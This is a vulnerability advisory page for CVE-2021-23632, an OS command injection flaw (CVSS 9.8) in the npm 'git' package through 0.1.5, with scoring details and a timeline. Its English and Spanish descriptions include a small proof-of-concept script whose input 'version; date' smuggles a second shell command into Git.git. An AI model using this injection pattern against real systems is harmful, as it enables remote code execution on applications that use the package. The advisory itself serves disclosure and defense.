// For flags

CVE-2021-23632

Remote Code Execution (RCE)

Severity Score

9.8
*CVSS v3.1

Exploit Likelihood

*EPSS

Affected Versions

*CPE

Public Exploits

1
*Multiple Sources

Exploited in Wild

-
*KEV

Decision

-
*SSVC
Descriptions

All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.

Todas las versiones del paquete git son vulnerables a Una Ejecución de Código Remota (RCE) debido a una falta de saneo en el método Git.git, que permite una ejecución de comandos del Sistema Operativo en lugar de sólo comandos de git. Pasos para reproducirlo 1. Crear un archivo llamado exploit.js con el siguiente contenido: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. En el mismo directorio que exploit.js, ejecutar npm install git. 3. Ejecuta exploit.js: node exploit.js. Deberías ver las salidas de las líneas de comandos de git version y date. Ten en cuenta que el repositorio Git repo-test no necesita estar presente para que este PoC funcione

*Credits: Paul-Emmanuel Raoul of SkypLabs
CVSS Scores
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
Attack Vector
Network
Attack Complexity
Low
Authentication
None
Confidentiality
Partial
Integrity
Partial
Availability
Partial
* Common Vulnerability Scoring System
SSVC
  • Decision:-
Exploitation
-
Automatable
-
Tech. Impact
-
* Organization's Worst-case Scenario
Timeline
  • 2021-01-08 CVE Reserved
  • 2022-03-17 CVE Published
  • 2024-08-29 EPSS Updated
  • 2024-09-16 CVE Updated
  • 2024-09-16 First Exploit
  • ---------- Exploited in Wild
  • ---------- KEV Due Date
CWE
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
CAPEC
References (1)
URL Tag Source
URL Date SRC
URL Date SRC
Affected Vendors, Products, and Versions
Vendor Product Version Other Status
Vendor Product Version Other Status <-- --> Vendor Product Version Other Status
Git Project
Search vendor "Git Project"
Git
Search vendor "Git Project" for product "Git"
<= 0.1.5
Search vendor "Git Project" for product "Git" and version " <= 0.1.5"
node.js
Affected